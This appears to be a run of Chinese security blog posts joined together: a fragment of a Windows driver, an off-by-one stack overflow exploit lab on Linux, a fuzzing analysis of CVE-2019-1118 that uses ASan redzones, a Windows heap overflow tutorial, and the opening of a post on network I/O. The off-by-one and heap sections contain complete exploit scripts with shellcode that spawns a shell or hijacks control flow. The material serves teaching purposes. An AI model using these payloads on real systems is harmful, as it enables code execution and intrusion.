		return status;
	}
	DbgPrint("CreateDevice successfully...\n");

	return STATUS_SUCCESS;
}

#pragma PAGEDCODE
VOID NTDDKUnload(IN PDRIVER_OBJECT pDriverObject)
{
	NTSTATUS status;
	PDEVICE_OBJECT	pNextObj;
	DbgPrint(("Enter DriverUnload\n"));
	pNextObj = pDriverObject->DeviceObject;
	UNICODE_STRING pLinkName;

	while (pNextObj != NULL)
	{
		PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)pNextObj->DeviceExtension;
		pLinkName = pDevExt->ustrSymLinkName;
		DbgPrint("Start delete symlinkname %wZ by pLinkName...\n", &pLinkName);
		DbgPrint("Start delete symlinkname %wZ by ustrSymLinkName...\n", &pDevExt->ustrSymLinkName);
		status = IoDeleteSymbolicLink(&pLinkName);
		// status = IoDeleteSymbolicLink(&(pDevExt->ustrSymLinkName));
		if (!NT_SUCCESS(status))
		{
			DbgPrint("Delete SymbolLink Error\n");
			goto finish;
		}
		pNextObj = pNextObj->NextDevice;
		IoDeleteDevice(pDevExt->pDevice);
	}

finish:
	DbgPrint("Leave DriverUnload\n");
}

全部设置成PAGEDCODE正常执行

Linux off by one漏洞(基于栈)

Linux off by one(基于栈)

从理论上去考虑off by one比较难理解,解释多了越解释越糊涂,因为我搜了好几篇文章都没有搞明白,所以直接跟着做实验,看到效果之后再来理解原理,会好理解很多!

命令执行实验

实验环境:docker ubuntu:16.04,代码vuln.c

#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
 bar(arg); /* [1] */
}
void bar(char* arg) {
 char buf[256];
 strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
 if(strlen(argv[1])>256) { /* [3] */
  printf("Attempted Buffer Overflow\n");
  fflush(stdout);
  return -1;
 }
 foo(argv[1]); /* [4] */
 return 0;
}

docker运行时记得添加--privileged=true

第一步关闭地址随机化,开启core转储

echo 0 > /proc/sys/kernel/randomize_va_space
ulimit -c unlimited
sh -c 'echo "/tmp/core" > /proc/sys/kernel/core_pattern'

因为我的是64位内核,所以默认拉取的是64位的docker镜像,所以编译这么写

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 -o vuln vuln.c

其中-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。
根据代码生成测试字符串,确定eip的偏移位置。

#encoding: utf-8

import os

print "exec start..."
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
os.system("./vuln " + payload)
print "exec done..."

运行一下,生成转储文件

利用pwndbg打开/tmp/core转储文件

eip转化为字符串或者使用我写的程序直接搜索

encoding:utf-8

import sys
from pwnlib.util.cyclic import cyclic, cyclic_find

def usage():
    print """
====================================================
        [*] python genseq.py s/g arg"
        example:
        generate: python genseq.py g 1000
        search: python genseq.py s abcd
====================================================
        """

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
        sys.exit(1)

    op = sys.argv[1]
    try:
        if op == 'g':
            gen_len = sys.argv[2]
            print cyclic(int(gen_len))
        elif op == 's':
            search_ch = sys.argv[2]
            if len(sys.argv[2]) > 4:
                hex_ch = search_ch.decode('hex')[::-1]
                print hex_ch
                print cyclic_find(hex_ch)
            else:
                print cyclic_find(search_ch)

    except Exception as ex:
        print ex
        usage()

结果

➜  test python genseq.py s 61616172
raaa
68

利用peda生成的shellcode,构造一个payload

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

测试代码

#encoding:utf-8

from pwn import *
from subprocess import call


ret_addr = p32(0xffffd508)
nop1 = '\x90' * 68
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
length = len(nop1 + ret_addr + shellcode)
nop2 = '\x90' * (256 - length)

payload = nop1 + ret_addr + shellcode + nop2

print "exec start..."
call(['./vuln', payload)
print "exec done..."

效果(不知道为什么无法显示命令字符串,只有结果,难道是因为docker的锅?),执行了whoamicat /etc/issue

成功命令执行,现在来好好理解一下这个原理!

off by one 原理

原理就是栈溢出,导致命令执行。现在来根据vuln.c代码一点一点看。
程序整体的流程是这样的

main---> foo ---> bar --->strcpy

strcpy会将vuln的参数复制到buf所在内存中。
如果参数大于256,会直接退出执行;如果小于256,buf空间足够;问题出在正好是256上,就一个字节之差!造成off by one的原因就是这一个字节,因为256个字节的话,刚好放在buf空间上,但是strcpy最后会放置一个空字符在buf的最后,但是buf已经没有空间了,那只能溢出下一个字节的最后一个字节。形象一点应该是这样的

+------+
|      | ret_addr
+------+
|xxxx00| ebp
+------+
| buf  |
+------+
| buf  |
+------+
| .... |
+------+

真正的调试一下看看是不是这样的

直接利用pwndbg调试,eip的偏移量会比在代码中运行要多,具体原因我也没找到。。。

strcpy之前设置断点

因为没有栈检查,栈中空间都存储的局部变量,局部变量如果溢出那么最开始影响的就是ebp的数据

注意ebp的地址和值,next下一步

ebp末尾一个字节变为0,产生了off by one溢出。接着执行到leave

leave指令相当于

leave => mov esp, ebp  ;把ebp赋给esp
         pop ebp       ;弹出栈顶元素给ebp

转变一下

mov eap, ebp => esp=0xfffd550
pop ebp => ebp=(esp)=0xffffd500 esp=esp+4=0xffd554 

调试验证

ret相当于pop eip,栈顶中的元素为0x80484a6,也就是foo+11,要跳转到foo函数中执行,执行到这里我们可以发现,off by one并没有直接改变最近的跳转eip,而是在接下来中的操作改变的。

接着执行到foo中的leave

同样的

mov eap, ebp => esp=0xfffd500
pop ebp => ebp=(esp)=0x62616174 esp=esp+4=0xffd504

验证一下

ret会影响eip的值了!eip变为了0x62616175

到这里off by one形成的原因也就找到了!也可以通过改变eip的值达到任意代码执行了。

payload构造原理

payload构造主要就2点

  1. shellcode存储位置
  2. 找到eip

格式: nops1 + ret_addr + shellcode + nops2

+---------+
|         |
+---------+
|         |
+---------+
|         | shellcode <----------+
+---------+                      |
|         |                      |
+---------+                      |
|         |                      |
+---------+                      |
|         | eip 跳转到shellcode---+
+---------+
|         |
+---------+
|         |
+---------+

eip我们通过上面的分析知道,可以通过字符串复制去覆盖。只要找到偏移量即可。上面实验已经找到了!
现在需要确定ret_addr,利用ret_addr去覆盖eip就可以实现跳转。我们通过上面的分析,最后异常的部分,ret => pop eip弹出了esp栈顶元素,esp=esp+4。

esp上的数据都是复制的来的,并且位置固定。所以只要使用esp的地址即可。之后紧跟着shellcode,不满足256长度的部分,依旧使用\x90填充。具体构造上面已经给出了,不再赘述。

参考

一步一步学ROP
一篇翻译的off by one

fuzz CVE-2019-1118

fuzz CVE-2019-1118

这篇来分析一下CVE-2019-1118,问题为stack corruption in OpenType font handling due to negative cubeStackDepth

漏洞复现

搭建环境,简单复现一下

git clone https://github.com/adobe-type-tools/afdko
cd afdko
git checkout 2.8.8
cd c
bash buildalllinux.sh debug

根据给出的poc测试

1563767319500

可以发现,出错了,但是被afdko捕获了。

这样的话,在重点位置设一下断点,再来看一下

首先测试一下do_blend_cube.otf

pwndbg> b t2cstr.c:1057
Breakpoint 1 at 0x466af2: file ../../../../../source/t2cstr/t2cstr.c, line 1057.
pwndbg> run -cff do_blend_cube.otf 

看一下效果

1563767767380

结合着反汇编代码看,效果可能更好

.text:0000000000466AF2                 mov     esi, [rbp+nBlends]
.text:0000000000466AF5                 mov     rdi, [rbp+h]
.text:0000000000466AF9                 add     rdi, 32D60h
.text:0000000000466B00                 mov     rax, [rbp+h]    ; h
.text:0000000000466B04                 movsxd  rax, dword ptr [rax+32D44h]; 取得索引
.text:0000000000466B0B                 imul    rax, 1920h; cube大小
.text:0000000000466B12                 add     rdi, rax
.text:0000000000466B15                 imul    esi, [rdi+10h]
.text:0000000000466B19                 mov     [rbp+nElements], esi

可以发现h->cube数组取值是通过乘法实现的,当索引为-1h->cubeStackDepth==-1时,

imul rax, 1920h ==> imul 0xffffffff, 1920h

cube数组每项的大小:sizeof(h->cube[0]) == 0x1920

再变换一下

((struct cube)h->cube)-1

相当于h->cube指针向前移动了一个数组值,即0x1920个字节

再来看看struct _t2cCtx的大小

1563805691018

向前移动了,但是((struct cube)h->cube)-1的位置还是在_t2cCtx结构体中,验证一下

继续单步执行到这,索引值得出

1563805840591

继续si

1563805966760

此时

1563806157829

可以发现0x9d3f8 > 0x31880 ,验证也确实还在结构体中。

这样的话,即使是h->cubeStackDepth==-1也不会导致内存访问出错,最多也就是分析错误,被afkdo捕获也就不奇怪了。我们的结果也确实是这样

但是PJ0给的例子中,存在了一个叫做redzone patch的操作,打完patch之后会出现user-after-poison的错误。

就像这样

==96052==ERROR: AddressSanitizer: use-after-poison on address 0x7ffea1a88890 at pc 0x00000069e6e2 bp 0x7ffea1a46bb0 sp 0x7ffea1a46ba8
READ of size 4 at 0x7ffea1a88890 thread T0
    #0 0x69e6e1 in do_blend_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58
    #1 0x6855fd in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1857:38
    #2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
    #3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
    #4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
    #5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
    #6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #10 0x7fa93072e2b0 in __libc_start_main
    #11 0x41e5b9 in _start

如果我们想这样的话,该怎么做呢?

很遗憾,关于手动设置redzone的资料特别少,中文基本上就是纯空白了。而且我发现,基本上这个方法就是PJ0自己成员在用,其他人很少有使用过的。

为了实现这个功能,我把sanitizer的实现资料和相关redzone的源码全部简单过了一遍,最后弄懂了redzone的相关定义和用法,这部分想要了解的话,自己查资料吧,内容比较多,可以重点看一下PJ0介绍sanitizer的几个paper

最后在sanitizer/asan_interface.h中看到了这部分代码

//===-- sanitizer/asan_interface.h ------------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file is a part of AddressSanitizer (ASan).
//
// Public interface header.
//===----------------------------------------------------------------------===//
#ifndef SANITIZER_ASAN_INTERFACE_H
#define SANITIZER_ASAN_INTERFACE_H

#include <sanitizer/common_interface_defs.h>

#ifdef __cplusplus
extern "C" {
#endif
/// Marks a memory region (<c>[addr, addr+size)</c>) as unaddressable.
///
/// This memory must be previously allocated by your program. Instrumented
/// code is forbidden from accessing addresses in this region until it is
/// unpoisoned. This function is not guaranteed to poison the entire region -
/// it could poison only a subregion of <c>[addr, addr+size)</c> due to ASan
/// alignment restrictions.
///
/// \note This function is not thread-safe because no two threads can poison or
/// unpoison memory in the same memory region simultaneously.
///
/// \param addr Start of memory region.
/// \param size Size of memory region.
void __asan_poison_memory_region(void const volatile *addr, size_t size);

/// Marks a memory region (<c>[addr, addr+size)</c>) as addressable.
///
/// This memory must be previously allocated by your program. Accessing
/// addresses in this region is allowed until this region is poisoned again.
/// This function could unpoison a super-region of <c>[addr, addr+size)</c> due
/// to ASan alignment restrictions.
///
/// \note This function is not thread-safe because no two threads can
/// poison or unpoison memory in the same memory region simultaneously.
///
/// \param addr Start of memory region.
/// \param size Size of memory region.
void __asan_unpoison_memory_region(void const volatile *addr, size_t size);

// Macros provided for convenience.
#if __has_feature(address_sanitizer) || defined(__SANITIZE_ADDRESS__)
/// Marks a memory region as unaddressable.
///
/// \note Macro provided for convenience; defined as a no-op if ASan is not
/// enabled.
///
/// \param addr Start of memory region.
/// \param size Size of memory region.
#define ASAN_POISON_MEMORY_REGION(addr, size) \
  __asan_poison_memory_region((addr), (size))

/// Marks a memory region as addressable.
///
/// \note Macro provided for convenience; defined as a no-op if ASan is not
/// enabled.
///
/// \param addr Start of memory region.
/// \param size Size of memory region.
#define ASAN_UNPOISON_MEMORY_REGION(addr, size) \
  __asan_unpoison_memory_region((addr), (size))
#else
#define ASAN_POISON_MEMORY_REGION(addr, size) \
  ((void)(addr), (void)(size))
#define ASAN_UNPOISON_MEMORY_REGION(addr, size) \
  ((void)(addr), (void)(size))
#endif

宏定义ASAN_UNPOISON_MEMORY_REGION指向__asan_poison_memory_region,利用这个函数可以设置redzone,之后利用__asan_unpoison_memory_region解除设置

方法找到了,那就来看具体代码,设置redzone,在do_blend_cube函数中

/* Execute "blend" op. Return 0 on success else error code. */
static int do_blend_cube(t2cCtx h, int nBlends) {
    int i;
    __asan_poison_memory_region(h->cube-1, sizeof(struct _t2cCtx)); // 设置redzone
    int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters;
    int iBase = h->stack.cnt - nElements;
    int k = iBase + nBlends;

    if (h->cube[h->cubeStackDepth].nMasters <= 1)
        return t2cErrInvalidWV;
    CHKUFLOW(h, nElements);

    if (h->flags & FLATTEN_CUBE) {
        for (i = 0; i < nBlends; i++) {
            int j;
            double x = INDEX(iBase + i);
            for (j = 1; j < h->cube[h->cubeStackDepth].nMasters; j++)
                x += INDEX(k++) * h->cube[h->cubeStackDepth].WV[j];
            INDEX(iBase + i) = (float)x;
        }
    } else {
        float blendVals[kMaxCubeMasters * kMaxBlendOps];
        for (i = 0; i < nElements; i++) {
            blendVals[i] = INDEX(iBase + i);
        }
        callback_blend_cube(h, nBlends, nElements, blendVals);
    }

    h->stack.cnt = iBase + nBlends;

    __asan_unpoison_memory_region(h->cube-1, sizeof(struct _t2cCtx)); // 解除redzone

    return 0;
}

这里有一点需要注意,poisonsize一定要设置的够大,否则会没有poison的效果,我这里是取_t2cCtx结构体的大小,这样就保证了怎么移动我们都能检测到

来看一下效果

1563807501320

fuzzing 代码

还是这么写main函数

/* Main program. */
int CTL_CDECL main(int argc, char *argv[]) {
    txCtx h;
    char *progname;

    /* Get program name */
    progname = tail(argv[0]);
    --argc;
    ++argv;

    /* Allocate program context */
    h = malloc(sizeof(struct txCtx_));
    if (h == NULL) {
        fprintf(stderr, "%s: out of memory\n", progname);
        return EXIT_FAILURE;
    }
    memset(h, 0, sizeof(struct txCtx_));

    h->app = APP_TX;
    h->appSpecificInfo = NULL; /* unused in tx.c, used in rotateFont.c & mergeFonts.c */
    h->appSpecificFree = txFree;

    txNew(h, progname);

    h->t1r.flags = 0; /* I initialize these here,as I need to set the std Encoding flags before calling setMode. */
    h->cfr.flags = 0;
    h->cfw.flags = 0;
    h->dcf.flags = DCF_AllTables | DCF_BreakFlowed;
    h->dcf.level = 5;
    h->svr.flags = 0;
    h->ufr.flags = 0;
    h->ufow.flags = 0;
    h->t1w.options = 0;

    // 设置cff模式
    setMode(h, mode_cff);

    // argv[1] 文件名,对应上面argv--
    doSingleFileSet(h, argv[0]);

    if (h->failmem.iFail == FAIL_REPORT) {
        fflush(stdout);
        fprintf(stderr, "mem_manage() called %ld times in this run.\n",
                h->failmem.iCall);
    }
    txFree(h);

    return 0;
}

出现异常利用上面的测试一下即可。

fuzz代码我公开了,测出有效洞可得找我哈 : )

还不会的话,只能看我的具体项目了,一起学习fuzz

后记

这个漏洞开始redzone patch的检测,我自己不会写,花了很长时间后来慢慢摸索出来了,就自己写了一个
后来我又给这个漏洞的发现者j00ru发了邮件,向他要了他的redzone patch,他很爽快的答应了,并将代码以附件的形式发给我了。
这里我们来分析一下(比我的redzone检测不知道要高到哪里去了)

代码所有权限属于j00ru,我仅用于学习使用

能有机会看到这么有实际作用的redzone检测代码,且看且珍惜

首先来看一下结构体的几处更改

第一处

1564037195237

接下来的几处

1564037302347

可以发现,在这个最重要的结构体里基本所有的数组都做了redzone标记,这样也就基本保证了这个结构体里的数组指针,在发生越界操作时,
大概率会操作redzone的数据,从而被捕获到。

再来看一下poison

static void PoisonArrays(t2cCtx h) {
  int i;

  ASAN_POISON_MEMORY_REGION(&h->stack.pre_array, sizeof(h->stack.pre_array));
  ASAN_POISON_MEMORY_REGION(&h->stack.pre_blendArray, sizeof(h->stack.pre_blendArray));
  ASAN_POISON_MEMORY_REGION(&h->stack.pre_blendArgs, sizeof(h->stack.pre_blendArgs));
  ASAN_POISON_MEMORY_REGION(&h->pre_BCA, sizeof(h->pre_BCA));
  ASAN_POISON_MEMORY_REGION(&h->pre_cube, sizeof(h->pre_cube));
  ASAN_POISON_MEMORY_REGION(&h->stems.pre_array, sizeof(h->stems.pre_array));
  ASAN_POISON_MEMORY_REGION(&h->mask.pre_bytes, sizeof(h->mask.pre_bytes));
  ASAN_POISON_MEMORY_REGION(&h->pre_regionIndices, sizeof(h->pre_regionIndices));

  ASAN_POISON_MEMORY_REGION(&h->stack.post_array, sizeof(h->stack.post_array));
  ASAN_POISON_MEMORY_REGION(&h->stack.post_blendArray, sizeof(h->stack.post_blendArray));
  ASAN_POISON_MEMORY_REGION(&h->stack.post_blendArgs, sizeof(h->stack.post_blendArgs));
  ASAN_POISON_MEMORY_REGION(&h->post_BCA, sizeof(h->post_BCA));
  ASAN_POISON_MEMORY_REGION(&h->post_cube, sizeof(h->post_cube));
  ASAN_POISON_MEMORY_REGION(&h->stems.post_array, sizeof(h->stems.post_array));
  ASAN_POISON_MEMORY_REGION(&h->mask.post_bytes, sizeof(h->mask.post_bytes));
  ASAN_POISON_MEMORY_REGION(&h->post_regionIndices, sizeof(h->post_regionIndices));

  for (i = 0; i < CUBE_LE_STACKDEPTH; i++) {
    ASAN_POISON_MEMORY_REGION(&h->cube[i].pre_composeOpArray, sizeof(h->cube[i].pre_composeOpArray));
    ASAN_POISON_MEMORY_REGION(&h->cube[i].pre_WV, sizeof(h->cube[i].pre_WV));

    ASAN_POISON_MEMORY_REGION(&h->cube[i].post_composeOpArray, sizeof(h->cube[i].post_composeOpArray));
    ASAN_POISON_MEMORY_REGION(&h->cube[i].post_WV, sizeof(h->cube[i].post_WV));
  }
}

具体详细的patch代码,自己琢磨吧,这种redzone patch的方式,记住,分析crashes肯定用得上!

参考

Microsoft DirectWrite / AFDKO stack corruption in OpenType font handling due to negative cubeStackDepth

Windows堆溢出

堆溢出

堆结构

堆和栈的结构差异很大,堆的分配以块为单位,分为块首和块身,对堆操作使用的指针一般指向块身起始位置。堆块和堆表组成一个堆,不同类型的堆表将堆在逻辑上分为不同的部分,重要的堆表(只索引空闲堆块)有两种:空表(freelist)和快表(lookaside)。

占用态堆块结构

空闲态堆块

可以看出空闲状态下是有前后块指针的,占用态没有

空表

由空闲堆块组成的双向链表,空表总共有128条,具体结构如下图

空表连接的都是空闲堆块,某个块被分配使用时,空表就会将该块从表中摘除,当被释放后,又会再次连接到空表上
通过0day中给出的代码进行一段测试,测试代码:

#include <windows.h>
main()
{
	HLOCAL h1,h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	
	//free block and prevent coaleses
	HeapFree(hp,0,h1); //free to freelist[2] 
	HeapFree(hp,0,h3); //free to freelist[2] 
	HeapFree(hp,0,h5); //free to freelist[4]
	
	HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]
	
	return 0;
}

按照0day书上的环境,并设置好后,od成功拦截

分配的堆的首地址0x00310000,其中位移0x178处指向分配的空表的尾块0x0688,再看0x688处的数据

其中0x688指的是其数据部分,它的块首是向前8个字节0x680,根据其c源码,每个HeapAlloc分配的空间如下

空表分配

根据空表的分配规则,以及上节中得出的每个块应该分配的大小,可以得出如下的分配地址列表


再通过od进行验证

H1

H2

H3


H4

H5

H6

可以发现每一步跟我们根据规则画出来的分配都是相同的

空表释放与合并

第一步,释放H1,空闲空间是8bytes,所以其释放完后应该挂在free[1]上

未释放前free[1]应该是这样的

+------+------+------+
|      | 0188 | 0188 |
+------+------+------+

验证一下

Free,根据规则应该是这样的

0188
+------+------+------+
|      | 0xxx | 0688 |<----+
+------+------+------+     |
                           |
0688                       |           
+------+------+------+     |
|      | 0188 | 0188 |-----+
+------+------+------+

free1的后指针指向0x688这个堆块,堆块的前后指针均指向0188,验证一下

释放H3

0188
+------+------+------+
|      | 0xxx | 0688 |<----+
+------+------+------+     |                       
0688                       |           
+------+------+------+     |
|      | 0188 | 06A8 |<----+
+------+------+------+     | 
06A8                       |           
+------+------+------+     |
|      | 0688 | 0188 |-----+
+------+------+------+

free[1]后挂了两块不连续的空闲块!验证一下

释放H5
根据规则,我们可以得出

01A8
+------+------+------+
|      | 0xxx | 06C8 |<----+
+------+------+------+     |
                           |
06C8                       |           
+------+------+------+     |
|      | 01A8 | 01A8 |-----+
+------+------+------+

但是结果跟猜想的不一样

按照0day书中所说,

0178 -> free[0] 跟着大块
0188 -> free[1] 跟着8bytes
0198 -> free[2] 跟着16bytes
01A8 -> free[3] 跟着24bytes
01B8 -> free[4] 跟着32bytes

但是这里却不是01A8,而是0198,没有弄明白是为什么。。。。。

释放H4
因为H3,H4,H5是连在一起的,所以需要合并,合并的总空间是32个空闲字节,所以应该挂在01B8即free[4]上

01A8
+------+------+------+
|      | 0xxx | 06A8 |<----+
+------+------+------+     |
                           |
06A8                       |           
+------+------+------+     |
|      | 01B8 | 01B8 |-----+
+------+------+------+

验证一下

空表的分配,释放和合并分析完毕!

快表

根据0day书中的描述,开始时快表是空的,堆管理器首先从空表上分配给HeapAlloc,等到HeapFree释放空间再将其链入快表中。利用如下代码进行测试

#include <stdio.h>
#include <windows.h>
void main()
{
	HLOCAL h1,h2,h3,h4;
	HANDLE hp;
	hp = HeapCreate(0,0,0);
	__asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h2);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h4);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	HeapFree(hp,0,h2);
}

查看一下偏移位置0x178

可以看到已经不是0x00310688了,变为了0x00311E90,再来看看0x688处的快表,根据0day书中所说lookaside从0x6B8开始,每48个字节算一个lookaside首项,现在lookaside[1]等都是0

往下依次类推。等到第一次HeapFree之后再看

已经得到了分配后释放的堆块,并且链入了快表,再看释放4次之后

可以看到0x6E8处的值,经过4次释放变为00311EA0,再看一下00311EA0

其指向了第一次释放的位置,由此可知后释放的空间会插入先前插入的位置的前面。再次分配会优先分配快表

分配16字节之后,lookaside[2]不再有空间。快表的分配,释放分析结束

DWORD SHOOT

空表由双向链表构成,双向链表在拆卸的过程中会发生如下的操作

int  remove (ListNode *node) 
{
    node->blink->flink = node->flink; 
    node->flink->blink = node->blink;
    return 0;
}

具体的操作可以参照0day中的图,如下

其实总结起来就是[blink]=flink数据

测试地址写入

测试代码

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

int main()
{
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	__asm int 3;
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	
	memcpy(h1,shellcode,200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	return 0;
}

根据DWORD SHOOT的定义,我们人为的构造一下,将8888888写入地址00000022

产生错误

可以看出是前向指针中的数据写入了后向指针中所表示的地址。

测试MessageBOx弹窗

这里主要依据的就是windows为了同步进程中的多个线程,使用了一些同步措施,如锁机制,信号量等,当进程退出时,ExitProcess函数需要做很多的工作,其中就会用到RtlEnterCriticalSectionRtlLeaveCriticalSection,指向前一个函数的指针存放在0x7FFDF020,即进程退出时会到这个地址取出RtlEnterCriticalSection函数的指针,并执行该函数,所以我们需要利用堆溢出中的DWORD SHOOT技术将shellcode的地址写入0x7FFDF020中。

找到RtlEnterCriticalSection函数地址

地址为0x77F82060,再确定shellcode的地址,具体测试代码如下

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xb8\x20\xf0\xfd\x7f"
"\xbb\x60\x20\xf8\x77"		// RtlEnterCriticalSection的地址0x77f86020通过调试得到, 用来使shellcode调用ExitProcess时不产生异常
"\x89\x18"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x30\x75\x6e\x67\x68\x77\x6f\x6f\x79\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00\x20\xf0\xfd\x7f";		// 0x00310688 shellcode起始地址, 0x7ffdf020 RtlEnterCriticalSection的指针地址(固定不变)

int main()
{
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	//__asm int 3;
	//EnterCriticalSection(0);
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	
	memcpy(h1,shellcode,0x200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	return 0;
}

但是测试过程中始终失败,具体也找不到什么原因。

Linux网络编程模型

Linux网络编程模型

因为最近在找开源网络组件的漏洞,将自己遇到的linux网络编程问题做个总结,也巩固一下自己的网络基础知识,我做的就是总结和归纳,很多知识都是直接使用参考链接中的代码和描述,感觉描述不清楚的,建议直接看参考链接中大佬的文章,描述不正确的,直接可以联系我,我做改正。

写这个文章看了很多大佬的文章,大佬的文章,基本有3个特点

1. 全部理论介绍,理论特别详细,但是没有具体实现代码,有的可能也只是伪码
2. 是基本全是代码,理论基本没有,但是代码又不全,看不到效果
3. 形象比喻,各种绘声绘影的描述网络模型,但是代码一行没有

本文主旨是show me the code,废话不多,能用代码描述的尽力不多bb,每个模型,我都简要的做了描述,之后使用简单的代码来做指导,并且代码可以使用,开源代码,你可以编译执行,观察效果,之后再结合一点理论,自然而然也就大概理解了。等你了解了,这些基础,再去使用什么libev/libuv的库,相对来说也就简单多了。
这单纯的只是一个基础,没有涉及到网络组件漏洞挖掘,大佬勿喷

Linux5种网络模型(I/O模型)

1) 阻塞I/O blocking I/O
2) 非阻塞I/O nonblocking I/O
3) 复用I/O I/O multiplexing (select/poll/epoll) (主用于TCP)
4) 信号驱动I/O signal driven I/O (主用于UDP)
